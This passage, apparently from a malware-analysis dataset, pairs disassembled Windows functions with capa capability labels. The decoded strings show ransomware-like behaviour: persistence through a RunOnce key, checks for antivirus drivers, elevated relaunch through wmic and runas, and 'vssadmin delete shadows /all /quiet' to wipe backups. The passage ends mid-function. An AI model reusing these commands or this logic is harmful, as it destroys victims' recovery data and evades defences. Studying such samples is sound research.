joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015f7e
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.1000d960
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10016019
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x1001d630]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x10016019
cmp eax, 1
je 0x1001603a
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10016019
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x10015fe6
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x10016015
xor eax, eax
inc eax
jmp 0x10016059
cmp edi, eax
jae 0x1001601d
xor eax, eax
jmp 0x10016059
cmp eax, esi
jae 0x10016024
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x1001d630]
jmp 0x1001603d
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0xf5a2830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
xor esi, esi
cmp edi, 0xffffffff
je 0xf5a287f
test ebx, ebx
je 0xf5a2873
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0xf5a2878
mov esi, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xf5a2890
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0xf5a28f9
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
call fcn.0f5a3030
neg eax
sbb esi, esi
and esi, 3
inc esi
call fcn.0f5a3030
neg eax
push ebx
sbb eax, eax
push ebx
and eax, 0xfffffffa
push ebx
add eax, 8
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0xf5a2902
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0xf5a2948
call fcn.0f5a3030
test eax, eax
jne 0xf5a292e
push ecx
lea ecx, [esi + 0x53]
lea edx, [eax + 6]
call fcn.0f5a82a0
add esp, 4
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.0f5a2830
add esp, 8
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a2960
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x1c], 0x520050
mov ecx, 0x41
mov dword [ebp - 0x18], 0x440049
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x520055
push eax
mov dword [ebp - 0x10], 0x530041
mov dword [ebp - 0xc], 0x4b0048
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0f5a8150
add esp, 4
mov dword [ebp - 0x88], 0x4f0053
lea eax, [ebp - 4]
mov dword [ebp - 0x84], 0x540046
mov dword [ebp - 0x80], 0x410057
mov dword [ebp - 0x7c], 0x450052
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x88]
mov dword [ebp - 0x78], 0x4d005c
push eax
push 0x80000001
mov dword [ebp - 0x74], 0x630069
mov dword [ebp - 0x70], 0x6f0072
mov dword [ebp - 0x6c], 0x6f0073
mov dword [ebp - 0x68], 0x740066
mov dword [ebp - 0x64], 0x57005c
mov dword [ebp - 0x60], 0x6e0069
mov dword [ebp - 0x5c], 0x6f0064
mov dword [ebp - 0x58], 0x730077
mov dword [ebp - 0x54], 0x43005c
mov dword [ebp - 0x50], 0x720075
mov dword [ebp - 0x4c], 0x650072
mov dword [ebp - 0x48], 0x74006e
mov dword [ebp - 0x44], 0x650056
mov dword [ebp - 0x40], 0x730072
mov dword [ebp - 0x3c], 0x6f0069
mov dword [ebp - 0x38], 0x5c006e
mov dword [ebp - 0x34], 0x750052
mov dword [ebp - 0x30], 0x4f006e
mov dword [ebp - 0x2c], 0x63006e
mov dword [ebp - 0x28], 0x65
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0xf5a2ac0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a2ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x14], eax
mov edi, eax
mov dword [esp + 0xc], 0
test eax, eax
je 0xf5a2b1c
lea edi, [eax + 0x202]
mov dword [esp + 0xc], 0x404
mov ebx, edi
mov esi, eax
add edi, 0x202
jmp 0xf5a2b20
xor esi, esi
xor ebx, ebx
push 0x100
push esi
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.0f5a8090
test eax, eax
je 0xf5a2b53
mov ecx, esi
jmp 0xf5a2c40
xor eax, eax
mov dword [esp + 0x18], 0x520050
mov ecx, 0x52
mov word [esp + 0x24], ax
push ecx
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0x440049
push eax
mov dword [esp + 0x28], 0x520055
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.0f5a8150
add esp, 4
push 0x100
push ebx
push str.AppData
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.0f5a8090
test eax, eax
je 0xf5a2bd8
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0xf5a2bd3
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0xf5a2bd5
xor edi, edi
push esi
jmp 0xf5a2c2f
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.Microsoft_
push ebx
call esi
lea eax, [esp + 0x18]
push eax
push ebx
call esi
push str..exe
push ebx
call esi
push ecx
mov ecx, dword [esp + 0x14]
mov edx, ebx
call fcn.0f5a2890
add esp, 4
test eax, eax
je 0xf5a2c45
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0xf5a2c2c
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0xf5a2c2e
xor edi, edi
push ebx
push str.__s_
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, edi
add esp, 0xc
call fcn.0f5a2960
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0xf5a2f50
Capabilities:
Enumerate device drivers on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push esi
mov esi, dword [sym.imp.PSAPI.DLL_EnumDeviceDrivers]
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 4], 0
call esi
mov eax, dword [ebp - 4]
test eax, eax
jne 0xf5a2f82
pop esi
mov esp, ebp
pop ebp
ret
push edi
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0xf5a2f9f
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edi
call esi
test eax, eax
je 0xf5a2ff2
mov ebx, dword [ebp - 4]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0xf5a2ff2
lea ebx, [ebx]
push 0x400
lea eax, [ebp - 0x80c]
push eax
push dword [edi + esi*4]
call dword [sym.imp.PSAPI.DLL_GetDeviceDriverBaseNameW]
test eax, eax
je 0xf5a2fed
push dword [ebp - 0xc]
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0xf5a3009
inc esi
cmp esi, ebx
jl 0xf5a2fc0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xf5a3030
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x24], 0x6c006b
push edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], 0x660069
mov dword [ebp - 0x1c], 0x73002e
mov dword [ebp - 0x18], 0x730079
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], 0x6c006b
mov dword [ebp - 0xc], 0x2e0031
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
call fcn.0f5a2f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0xf5a3096
lea ecx, [ebp - 0x10]
call fcn.0f5a2f50
test eax, eax
jne 0xf5a3096
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0xf5a30a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x14], 0x720073
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0x730074
mov dword [ebp - 0xc], 0x2e0070
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
mov dword [ebp - 0x44], 0x720073
mov dword [ebp - 0x40], 0x730074
mov dword [ebp - 0x3c], 0x360070
mov dword [ebp - 0x38], 0x2e0034
mov dword [ebp - 0x34], 0x790073
mov dword [ebp - 0x30], 0x73
mov dword [ebp - 0x5c], 0x61004e
mov dword [ebp - 0x58], 0x450076
mov dword [ebp - 0x54], 0x310078
mov dword [ebp - 0x50], 0x2e0035
mov dword [ebp - 0x4c], 0x790073
mov dword [ebp - 0x48], 0x73
mov dword [ebp - 0x2c], 0x61004e
mov dword [ebp - 0x28], 0x450076
mov dword [ebp - 0x24], 0x67006e
mov dword [ebp - 0x20], 0x73002e
mov dword [ebp - 0x1c], 0x730079
mov word [ebp - 0x18], ax
call fcn.0f5a2f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0xf5a3180
lea ecx, [ebp - 0x44]
call fcn.0f5a2f50
test eax, eax
jne 0xf5a3180
lea ecx, [ebp - 0x5c]
call fcn.0f5a2f50
test eax, eax
jne 0xf5a3180
lea ecx, [ebp - 0x2c]
call fcn.0f5a2f50
test eax, eax
jne 0xf5a3180
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0xf5a33e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 4], esi
mov dword [esi + 0xc], ebx
call fcn.0f5a32b0
test eax, eax
je 0xf5a34d9
cmp eax, 0xffffffff
je 0xf5a34d9
mov ecx, esi
call fcn.0f5a3320
test eax, eax
je 0xf5a3425
mov dword [esi], 1
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [esi], 0
mov al, byte [ebx]
test al, al
je 0xf5a3418
push edi
cmp al, 0x7b
jne 0xf5a34bf
inc ebx
push ebx
call fcn.0f5a3190
sub eax, 0
je 0xf5a34bf
dec eax
je 0xf5a34b5
dec eax
jne 0xf5a34bf
mov al, byte [ebx]
mov edi, ebx
test al, al
je 0xf5a3467
cmp al, 0x7d
je 0xf5a34bf
inc edi
cmp al, 0x3d
je 0xf5a3467
mov al, byte [edi]
test al, al
jne 0xf5a3458
mov al, byte [edi]
cmp al, 0x7d
je 0xf5a34bf
mov esi, edi
test al, al
je 0xf5a3483
cmp byte [esi], 0x7d
je 0xf5a3480
inc esi
cmp byte [esi], 0
jne 0xf5a3473
jmp 0xf5a3483
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
test eax, eax
je 0xf5a34ad
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [esi], 0x7d
mov esi, dword [ebp - 4]
jmp 0xf5a34bf
push 1
push ebx
mov ecx, esi
call fcn.0f5a3200
mov al, byte [ebx + 1]
inc ebx
test al, al
jne 0xf5a3432
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0xf5a3500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, ecx
mov dword [eax], ebx
mov dword [ebp - 4], edx
lea eax, [edi + 0xf]
lea ecx, [esi + 0xf]
cmp esi, eax
ja 0xf5a3541
cmp ecx, edi
jb 0xf5a3541
mov ecx, esi
sub edi, esi
mov edx, 0x10
mov edi, edi
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
dec edx
jne 0xf5a3530
mov edx, dword [ebp - 4]
jmp 0xf5a3551
movdqu xmm1, xmmword [esi]
movdqu xmm0, xmmword [edi]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
mov eax, dword [ebp + 0xc]
cmp edx, 0x10
jbe 0xf5a35ba
lea edi, [edx - 0x11]
shr edi, 4
inc edi
mov dword [ebp + 0x14], edi
push eax
push ebx
push esi
call 0xf5a1020
mov edx, ebx
add esi, 0x10
add esp, 0xc
add ebx, 0x10
lea eax, [edx + 0xf]
cmp esi, eax
ja 0xf5a35a1
lea eax, [esi + 0xf]
cmp eax, edx
jb 0xf5a35a1
mov eax, esi
sub edx, esi
mov edi, 0x10
lea ecx, [ecx]
mov cl, byte [eax + edx]
lea eax, [eax + 1]
xor byte [eax - 1], cl
dec edi
jne 0xf5a3590
mov edi, dword [ebp + 0x14]
jmp 0xf5a35b1
movdqu xmm1, xmmword [esi]
movdqu xmm0, xmmword [edx]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
mov eax, dword [ebp + 0xc]
dec edi
mov dword [ebp + 0x14], edi
jne 0xf5a3563
push eax
push ebx
push esi
call 0xf5a1020
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a3be0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Execute shellcode via indirect call
Query environment variable
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x694
push ebx
push esi
push edi
mov esi, ecx
call fcn.0f5a3b20
test eax, eax
je 0xf5a3dfa
call fcn.0f5a3aa0
test eax, eax
jne 0xf5a3dfa
push 0xff
lea eax, [esp + 0xa4]
mov dword [esp + 0x1c], 0x770025
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0x6e0069
push eax
mov dword [esp + 0x2c], 0x690064
mov dword [esp + 0x30], 0x250072
mov dword [esp + 0x34], 0x73005c
mov dword [esp + 0x38], 0x730079
mov dword [esp + 0x3c], 0x650074
mov dword [esp + 0x40], 0x33006d
mov dword [esp + 0x44], 0x5c0032
mov dword [esp + 0x48], 0x620077
mov dword [esp + 0x4c], 0x6d0065
mov dword [esp + 0x50], 0x77005c
mov dword [esp + 0x54], 0x69006d
mov dword [esp + 0x58], 0x63
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x54]
mov dword [esp + 0x54], 0x720070
push eax
lea eax, [esp + 0x2a8]
mov dword [esp + 0x5c], 0x63006f
push eax
mov dword [esp + 0x64], 0x730065
mov dword [esp + 0x68], 0x200073
mov dword [esp + 0x6c], 0x610063
mov dword [esp + 0x70], 0x6c006c
mov dword [esp + 0x74], 0x630020
mov dword [esp + 0x78], 0x650072
mov dword [esp + 0x7c], 0x740061
mov dword [esp + 0x80], 0x200065
mov dword [esp + 0x84], 0x630022
mov dword [esp + 0x88], 0x64006d
mov dword [esp + 0x8c], 0x2f0020
mov dword [esp + 0x90], 0x200063
mov dword [esp + 0x94], 0x740073
mov dword [esp + 0x98], 0x720061
mov dword [esp + 0x9c], 0x200074
mov dword [esp + 0xa0], 0x730025
mov dword [esp + 0xa4], 0x22
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x40
push 0x3000
push 0x3d
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [edi], 0x3c
mov dword [edi + 4], 0x40
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor esi, esi
mov dword [edi + 8], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x750072
mov dword [esp + 0x10], 0x61006e
mov dword [esp + 0x14], 0x73
mov dword [edi + 0xc], eax
lea eax, [esp + 0xa0]
mov dword [edi + 0x10], eax
lea eax, [esp + 0x2a0]
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
lea esp, [esp]
push edi
call ebx
test eax, eax
jne 0xf5a3e01
inc esi
cmp esi, 0x64
jb 0xf5a3de0
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0xf5a3e20
Capabilities:
Check for time delay via gettickcount
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c4
push ebx
push esi
push edi
push 4
push 0x3000
push 0x18
mov ebx, ecx
push 0
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x43
mov dword [eax + 4], ebx
xor ebx, ebx
mov word [eax], cx
mov eax, dword [0xf5af344]
mov dword [esp + 0x38], eax
mov eax, dword [0xf5af348]
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0xc], eax
lea esi, [esp + 0x150]
mov edi, 0x41
jmp 0xf5a3e80
lea eax, [esp + 0x38]
mov word [esp + 0x38], di
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jb 0xf5a3ed7
cmp eax, 5
je 0xf5a3ed7
mov eax, dword [esp + 0x10]
push 0
push 0
mov dword [esi - 4], eax
lea eax, [esi - 8]
push eax
push 0xf5a6de0
push 0
push 0
mov word [eax], di
mov dword [esi], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + ebx*4 + 0x48], eax
inc ebx
add esi, 0x18
inc edi
cmp di, 0x5a
jbe 0xf5a3e80
push 0xffffffffffffffff
push 1
lea eax, [esp + 0x50]
mov dword [esp + 0x24], ebx
xorps xmm0, xmm0
mov dword [esp + 0x20], 0
push eax
push ebx
mov dword [esp + 0x24], 0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x30], xmm0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0xc]
xorps xmm0, xmm0
mov edi, dword [esp + 0x2c]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x30], eax
xor eax, eax
mov dword [esp + 0x10], 0
movlpd qword [esp + 0x40], xmm0
cmp ebx, 2
jb 0xf5a3f9c
lea ecx, [ebx - 2]
mov ebx, dword [esp + 0x28]
shr ecx, 1
lea eax, [esp + 0x170]
inc ecx
mov dword [esp + 0xc], ecx
lea edx, [ecx + ecx]
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x24]
nop
mov ecx, dword [esp + 0x18]
add ecx, dword [eax - 0x20]
add ebx, dword [eax - 0x18]
mov dword [esp + 0x18], ecx
adc edi, dword [eax - 0x14]
mov ecx, dword [esp + 0x14]
add ecx, dword [eax - 8]
add esi, dword [eax]
mov dword [esp + 0x14], ecx
adc edx, dword [eax + 4]
lea eax, [eax + 0x30]
dec dword [esp + 0xc]
jne 0xf5a3f60
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
jmp 0xf5a3fa4
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
cmp eax, ebx
jae 0xf5a3fc6
lea eax, [eax + eax*2]
mov ebx, dword [esp + eax*8 + 0x150]
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + eax*8 + 0x158]
mov eax, dword [esp + eax*8 + 0x15c]
jmp 0xf5a3fce
mov eax, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
add esi, ecx
mov ecx, dword [esp + 0x14]
adc edx, edi
add esi, ebx
adc edx, eax
add ecx, dword [esp + 0x18]
add ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x34]
push esi
call fcn.0f5a5670
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a4030
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0xf5b2a60], 0
jne 0xf5a40d7
push edi
push 4
push 0x3000
push 0x1de
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0xf5a40d0
xor ecx, ecx
lea eax, [edi + 0x1db]
cmp edi, 0xf5afa7b
ja 0xf5a406f
cmp eax, 0xf5af8a0
jae 0xf5a40a8
movdqa xmm1, xmmword [0xf5b04a0]
mov eax, edi
sub eax, 0xf5af8a0
mov edi, edi
movdqu xmm0, xmmword [ecx + 0xf5af8a0]
pxor xmm0, xmm1
movdqu xmmword [eax + ecx + 0xf5af8a0], xmm0
add ecx, 0x10
cmp ecx, 0x1d0
jb 0xf5a4080
cmp ecx, 0x1dc
jae 0xf5a40d0
push ebx
push esi
mov ebx, 0xf5af8a0
lea edx, [ecx + edi]
mov esi, 0x1dc
sub ebx, edi
sub esi, ecx
jmp 0xf5a40c0
mov al, byte [ebx + edx]
lea edx, [edx + 1]
xor al, 5
mov byte [edx - 1], al
dec esi
jne 0xf5a40c0
pop esi
pop ebx
mov dword [0xf5b2a60], edi
pop edi
ret
Function at 0xf5a43e0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xac
push ebx
push esi
push edi
call fcn.0f5a3b20
test eax, eax
je 0xf5a4490
xor ecx, ecx
mov dword [esp + 0x24], 0x77005c
mov dword [esp + 0x28], 0x650062
lea ebx, [esp + 0x24]
mov dword [esp + 0x2c], 0x5c006d
lea eax, [esp + 0x44]
mov dword [esp + 0x30], 0x6d0077
mov dword [esp + 0x34], 0x630069
mov dword [esp + 0x38], 0x65002e
mov dword [esp + 0x3c], 0x650078
mov word [esp + 0x40], cx
mov dword [esp + 0x44], 0x680073
mov dword [esp + 0x48], 0x640061
mov dword [esp + 0x4c], 0x77006f
mov dword [esp + 0x50], 0x6f0063
mov dword [esp + 0x54], 0x790070
mov dword [esp + 0x58], 0x640020
mov dword [esp + 0x5c], 0x6c0065
mov dword [esp + 0x60], 0x740065
mov dword [esp + 0x64], 0x65
jmp 0xf5a4588
xor edi, edi
mov dword [esp + 0x10], 0x63005c
xor eax, eax
mov dword [esp + 0x14], 0x64006d
mov word [esp + 0xb4], ax
lea ebx, [esp + 0x10]
mov dword [esp + 0x18], 0x65002e
lea eax, [esp + 0x68]
mov dword [esp + 0x1c], 0x650078
mov word [esp + 0x20], di
mov dword [esp + 0x68], 0x63002f
mov dword [esp + 0x6c], 0x760020
mov dword [esp + 0x70], 0x730073
mov dword [esp + 0x74], 0x640061
mov dword [esp + 0x78], 0x69006d
mov dword [esp + 0x7c], 0x20006e
mov dword [esp + 0x80], 0x650064
mov dword [esp + 0x84], 0x65006c
mov dword [esp + 0x88], 0x650074
mov dword [esp + 0x8c], 0x730020
mov dword [esp + 0x90], 0x610068
mov dword [esp + 0x94], 0x6f0064
mov dword [esp + 0x98], 0x730077
mov dword [esp + 0x9c], 0x2f0020
mov dword [esp + 0xa0], 0x6c0061
mov dword [esp + 0xa4], 0x20006c
mov dword [esp + 0xa8], 0x71002f
mov dword [esp + 0xac], 0x690075
mov dword [esp + 0xb0], 0x740065
push 0x40
push 0x3000
push 0x400
push 0
mov dword [esp + 0x1c], eax
mov edi, 0x20
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0xf5a45af
xor edi, edi
jmp 0xf5a45df
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push dword [esp + 0x14]
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp edi, eax
sbb edi, edi
neg edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a4600
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0x68]
call fcn.0f5a39f0
lea ecx, [esp + 0x10]
call fcn.0f5a7330
lea ecx, [esp + 0x10]
call fcn.0f5a7140
mov esi, eax
push 0x40
push 0x3000
lea ebx, [esi*2 + 0x42]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0xf5a4677
lea ecx, [esi*2 + 0x40]
cmp ecx, ebx
jae 0xf5a4677
mov esi, edi
jmp 0xf5a4679
xor esi, esi
push str.Global_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
